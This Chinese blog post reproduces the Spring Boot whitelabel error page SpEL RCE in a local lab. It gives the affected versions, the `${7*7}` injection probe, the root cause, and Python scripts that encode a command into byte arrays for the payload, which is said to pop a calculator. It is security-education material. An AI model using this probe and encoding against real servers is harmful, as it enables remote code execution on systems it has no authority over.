spring boot (whitelabel error page SpEL RCE) 漏洞復現

雨筍教育發表於2021-09-16

雨筍教育小編來分享乾貨了,近期稽核關係,大家先看為盡,少一篇是一篇了。

利用條件:

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  • 至少知道一個觸發 springboot 預設錯誤頁面的介面及引數名

利用方法:

步驟一:找到一個正常傳參處比如發現訪問 /article?id=xxx ,頁面會報狀態碼為 500 的錯誤:Whitelabel Error Page,則後續 payload 都將會在引數 id 處嘗試。

步驟二:執行 SpEL 表示式輸入 /article?id=${7*7},如果發現報錯頁面將 7*7 的值 49 計算出來顯示在報錯頁面上,那麼基本可以確定目標存在 SpEL 表示式注入漏洞。

由字串格式轉換成 0x** java 位元組形式,方便執行任意程式碼:

# coding: utf-8

result = ""

target = 'calc' # 該處寫上要執行的命令,例如calc 彈出計算器

for x in target:

result += hex(ord(x)) + ","

print(result.rstrip(','))

以上 python3 指令碼執行後的結果如下:

0x63,0x61,0x6c,0x63

漏洞原理:

  1. spring boot 處理引數值出錯,流程進入 org.springframework.util.PropertyPlaceholderHelper 類中
  2. 此時 URL 中的引數值會用 parseStringValue 方法進行遞迴解析
  3. 其中 ${} 包圍的內容都會被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 類的 resolvePlaceholder 方法當作 SpEL 表示式被解析執行,造成 RCE 漏洞

漏洞環境:

環境搭建:

下載上述漏洞環境專案地址,在本地使用IDEA開啟該專案,maven下載好相應依賴後,執行專案

spring boot (whitelabel error page SpEL RCE) 漏洞復現

訪問本地的9091埠

spring boot (whitelabel error page SpEL RCE) 漏洞復現

環境搭建成功

漏洞復現:

訪問url

spring boot (whitelabel error page SpEL RCE) 漏洞復現

修改id 引數為 ${7*7}

spring boot (whitelabel error page SpEL RCE) 漏洞復現

頁面報錯,回顯出7*7的結果,修改為8*8

spring boot (whitelabel error page SpEL RCE) 漏洞復現

利用指令碼一:

使用指令碼生成執行 calc 的byte陣列 (hex表示)

# coding: utf-8

result = ""

target = 'calc' # 該處寫上要執行的命令,例如calc 彈出計算器

for x in target:

result += hex(ord(x)) + ","

print(result.rstrip(','))

spring boot (whitelabel error page SpEL RCE) 漏洞復現

使用payload,系統彈出計算器

spring boot (whitelabel error page SpEL RCE) 漏洞復現

利用指令碼二:
使用指令碼生成執行 calc 的byte陣列 (十進位制表示)
# coding: utf-8
result = ""
target = 'calc' # 該處寫上要執行的命令,例如calc 彈出計算器
for x in target:
result += str(ord(x)) + ","
print(result.rstrip(','))

spring boot (whitelabel error page SpEL RCE) 漏洞復現

使用payload,系統彈出計算器

spring boot (whitelabel error page SpEL RCE) 漏洞復現

參考文章:

https://www.cnblogs.com/litlife/p/10183137.html

*本文章僅供技術交流分享,請勿做未授權違法攻擊,雨筍教育不負任何責任。具體請參考《網路安全法》。


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70006652/viewspace-2792364/,如需轉載,請註明出處,否則將追究法律責任。

相關文章